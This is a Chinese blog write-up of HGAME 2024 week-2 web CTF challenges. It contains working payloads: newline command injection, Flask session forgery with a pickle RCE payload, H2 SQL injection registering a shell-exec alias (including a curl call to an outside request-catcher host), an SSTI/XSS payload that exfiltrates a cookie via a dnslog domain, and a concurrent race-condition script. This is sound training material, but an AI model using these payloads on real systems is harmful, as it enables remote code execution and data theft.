HGAME-WEEK2

week 2

web 2/5 完了,废了

image-20240215210113814

What the cow say?

像ping那种命令执行,就是执行多个命令,禁用& | ;

我是用%0a来换行

image-20240205212151120

WP的做法是使用反引号,也有人用$()

myflask (三血

import pickle
import base64
from flask import Flask, session, request, send_file
from datetime import datetime
from pytz import timezone

currentDateAndTime = datetime.now(timezone('Asia/Shanghai'))
currentTime = currentDateAndTime.strftime("%H%M%S")

app = Flask(__name__)
# Tips: Try to crack this first ↓
app.config['SECRET_KEY'] = currentTime
print(currentTime)

@app.route('/')
def index():
    session['username'] = 'guest'
    return send_file('app.py')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    if not session:
        return 'There is no session available in your client :('
    if request.method == 'GET':
        return 'You are {} now'.format(session['username'])
    
    # For POST requests from admin
    if session['username'] == 'admin':
        pickle_data=base64.b64decode(request.form.get('pickle_data'))
        # Tips: Here try to trigger RCE
        userdata=pickle.loads(pickle_data)
        return userdata
    else:
        return 'Access Denied'
 
if __name__=='__main__':
    app.run(debug=True, host="0.0.0.0")

看到secret_key是一个时间的函数

本地运行一下看大概是多少(我这里是20xxxx忘记了,然后把上下范围大概写入文件中

with open('1.txt','w')as f:
    for i in range(200000,210000):
        f.write(str(i))
        f.write("\n")

用flask-unsign指定字典爆破

image-20240206010314307

伪造session成为admin

python flask-session.py encode -s "203849" -t "{'username': 'admin'}"
import pickle
import os
class A(object):
    def __reduce__(self):
        # return (os.system,('ls',))     不用这个,报错无回显
        return (eval, ("__import__('os').popen('cat /flag').read()",))

a = A()
test = pickle.dumps(a)
print(base64.b64encode(test))

要在linux环境下运行py文件,因为不同系统会造成不同的结果

linux中为posix

windows中为nt

image-20240205211258233

search4member *

真的服了,都发现是h2数据库的漏洞了,照着网上的payload打,老是宕机

image-20240215211815950

给出失误后也不知道咋改,就放弃了

看附件,就是正常的SQL查询语句,看到不同的地方就是用了h2数据库,看了依赖也没其他的,便查h2数据库的漏洞

@Mapping("/")
public ModelAndView search(@Param(defaultValue = "web") String keyword) throws SQLException {
    List<String> results = new ArrayList<>();
    if (keyword != null & !keyword.equals("")) {
        String sql = "SELECT * FROM member WHERE intro LIKE '%" + keyword + "%';";
        DataSource dataSource = dbManager.getDataSource();
        Statement statement = dataSource.getConnection().createStatement();
        ResultSet resultSet = statement.executeQuery(sql);
        while (resultSet.next()) {
            results.add(resultSet.getString("id") + " : "
                    + resultSet.getString("intro") + " : "
                    + resultSet.getString("blog"));
        }
        resultSet.close();
        statement.close();
    }
    ModelAndView model = new ModelAndView("search.ftl");
    model.put("results", results);
    return model;
}

找到通过H2 数据库get shell_h2 getshell-CSDN博客

我的复现做法

'; CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;CALL SHELLEXEC('id');'

但是这里不能直接CALL SHELLEXEC('id');,因为没有回显的地方

这里

'; CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : "";  }$$;'

是可以成功注册shellexec函数的,只是页面报错而已(我当时以为直接宕机了

然后WP给了很妙的方法,把数据插入表中,然后再查询

%';INSERT INTO member (id, intro, blog) VALUES ('flag','flag',SHELLEXEC('cat /flag'));'

最后查询flag

image-20240215211535164

但是我这里的语句都是会导致页面报错的

看看官方WP的不会报错的吧

SJTU%';CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws
java.io.IOException { java.util.Scanner s = new
java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter
("\\A"); return s.hasNext() ? s.next() : ""; }$$;SELECT * FROM member WHERE
intro LIKE '%13
SJTU%';INSERT INTO member (id, intro, blog) VALUES
('flag','flag',SHELLEXEC('cat /flag'));SELECT * FROM member WHERE intro LIKE
'%13

出网

….原来可以一起执行,带出网就行了

zzz%25';CREATE ALIAS SHELLEXEC AS 'String shellexec(String cmd) throws java.io.IOException {java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL SHELLEXEC('curl 28zrgzsc.requestrepo.com');--+

梅开二度 *

package main

import (
	"context"
	"log"
	"net/url"
	"os"
	"regexp"
	"sync"
	"text/template"
	"time"

	"github.com/chromedp/chromedp"
	"github.com/gin-gonic/gin"
	"golang.org/x/net/html"
)

var re = regexp.MustCompile(`script|file|on`)

var lock sync.Mutex

func main() {
	allocCtx, cancel := chromedp.NewExecAllocator(context.Background(), append(chromedp.DefaultExecAllocatorOptions[:],
		chromedp.NoSandbox, chromedp.DisableGPU)...)
	defer cancel()

	r := gin.Default()
	r.GET("/", func(c *gin.Context) {
		tmplStr := c.Query("tmpl")
		if tmplStr == "" {
			tmplStr = defaultTmpl
		} else {
			if re.MatchString(tmplStr) {
				c.String(403, "tmpl contains invalid word")
				return
			}
			if len(tmplStr) > 50 {
				c.String(403, "tmpl is too long")
				return
			}
			tmplStr = html.EscapeString(tmplStr)
		}
		tmpl, err := template.New("resp").Parse(tmplStr)
		if err != nil {
			c.String(500, "parse template error: %v", err)
			return
		}
		if err := tmpl.Execute(c.Writer, c); err != nil {
			c.String(500, "execute template error: %v", err)
		}
	})

	r.GET("/bot", func(c *gin.Context) {
		rawURL := c.Query("url")
		u, err := url.Parse(rawURL)
		if err != nil {
			c.String(403, "url is invalid")
			return
		}
		if u.Host != "127.0.0.1:8080" {
			c.String(403, "host is invalid")
			return
		}
		go func() {
			lock.Lock()
			defer lock.Unlock()

			ctx, cancel := chromedp.NewContext(allocCtx,
				chromedp.WithBrowserOption(chromedp.WithDialTimeout(10*time.Second)),
			)
			defer cancel()
			ctx, _ = context.WithTimeout(ctx, 20*time.Second)
			if err := chromedp.Run(ctx,
				chromedp.Navigate(u.String()),
				chromedp.Sleep(time.Second*10),
			); err != nil {
				log.Println(err)
			}
		}()
		c.String(200, "bot will visit it.")
	})

	r.GET("/flag", func(c *gin.Context) {
		if c.RemoteIP() != "127.0.0.1" {
			c.String(403, "you are not localhost")
			return
		}
		flag, err := os.ReadFile("/flag")
		if err != nil {
			c.String(500, "read flag error")
			return
		}
		c.SetCookie("flag", string(flag), 3600, "/", "", false, true)
		c.Status(200)
	})
	r.Run(":8080")
}

const defaultTmpl = `
<!DOCTYPE html>
<html>
<head>
	<title>YOU ARE</title>
</head>
<body>
	<div>欢迎来自 {{.RemoteIP}} 的朋友</div>
	<div>你的 User-Agent 是 {{.GetHeader "User-Agent"}}</div>
	<div>flag在bot手上,想办法偷过来</div>
</body>
`

我的思路是bot访问flag然后xss带出来

但这里要是写HTML中带script的js代码,但是不是有正则吗?不懂

官方WP也挺抽象的,用的是yakit的Fuzztag语法,都看不懂

GET /bot?url={{url(http://127.0.0.1:8080/?GET={{url(<!DOCTYPE html>
<html>
<body>
<script>
    (async function evil() {
        await fetch('/flag');

        const res = await fetch('/?tmpl={{.Cookie (.Query.Request.Method)}}&GET=flag');
        const flag = [...await
                      res.text()].map(a=>a.charCodeAt(0).toString(16)).join('');
        document.body.innerHTML+=`<img src="http://${flag.slice(0,50)}.u7byk63s.dnslog.pw">`
    })();
</script>
</body>
</html>)}}&tmpl={{url({{.Query .Request.Method}})}})}} HTTP/1.1
Host: 47.100.137.175:32193

其实答案写在题目描述里了

上联下联 使用{{.Query .Request.Method}}从另一个方向带入payload,绕过html转义

横批 -> 二次ssti绕过httponly

image-20240215221954889

这看的懂啥

Select More Courses *

不懂

上WP

弱密码+条件竞争。

Hint中给出了可供参考的密码字典:

https://github.com/TheKingOfDuck/fuzzDicts/blob/master/passwordDict/top1000.txt,爆破出弱

密码为 qwert123

登⼊系统后进⼊ /expand 路由,根据提⽰ race against time ,(知道是条件竞争,但是咋弄呢,服了

并发POST请求 /api/expand 接⼝,利⽤此处存在的条件竞争漏洞,可实现拓展学分上限,然后选择对应课程获取flag。

利⽤条件竞争可使⽤BurpSuite⾃带的Intruder模块,也可以⾃⾏编写脚本实现,以下为⼀个可供参考

的利⽤此处漏洞的python脚本:

import requests
import threading

def send_request():
    url = "http://47.102.130.35:30234/api/expand"
    headers = {
    "Host": "47.102.130.35:30234",
    "Connection": "keep-alive",
    "Content-Length": "23",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36",
    "Content-Type": "application/json",
    "Accept": "*/*",
    "Origin": "http://47.102.130.35:30234",
    "Referer": "http://47.102.130.35:30234/expand",
    "Accept-Encoding": "gzip, deflate",
    "Accept-Language": "zh-CN,zh;q=0.9",
    "Cookie": "session=MTcwNzEwNzQzM3xEWDhFQVFMX2dBQUJFQUVRQUFBcV80QUFBUVp6ZEhKcGJtY01DZ0FJZFhObGNtNWhiV1VHYzNSeWFXNW5EQW9BQ0cxaE5XaHlNREJ0fHOdF2Z4AqqV3oV6z2EPpM2zyz1UOPBTtu69oB8qnaWM"
    }
    payload = {"username": "ma5hr00m"}

    while True:
        try:
            response = requests.post(url, headers=headers, json=payload)
            print(f"Response: {response.status_code}")
        except requests.exceptions.RequestException as e:
            print(f"Error: {e}")

# 创建50个线程并发发送请求
threads = []
for _ in range(50):
    thread = threading.Thread(target=send_request)
    thread.start()
    threads.append(thread)

 # 等待所有线程完成
for thread in threads:
    thread.join()

HGAME-WEEK2
https://zer0peach.github.io/2024/02/07/HGAME-WEEK2/
作者
Zer0peach
发布于
2024年2月7日
许可协议